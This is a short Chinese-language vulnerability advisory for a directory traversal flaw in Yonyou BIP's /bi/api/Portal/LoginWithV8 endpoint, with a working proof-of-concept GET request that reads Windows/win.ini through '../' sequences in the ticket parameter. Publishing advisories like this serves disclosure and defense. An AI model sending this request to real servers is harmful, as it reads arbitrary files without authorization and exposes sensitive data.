用友Bip /bi/api/Portal/LoginWithV8 目录遍历漏洞(CVE-2025-66744)

2026-01-16 用友Bip PoC Public

Description

用友Bip是用友旗下的企业级云服务平台,其/bi/api/Portal/LoginWithV8接口存在路径穿越漏洞。攻击者可通过构造包含目录遍历字符的请求,读取服务器上的任意敏感文件(如Windows/win.ini、Windows/System32/drivers/etc/hosts等),导致服务器敏感信息泄露。

PoC

GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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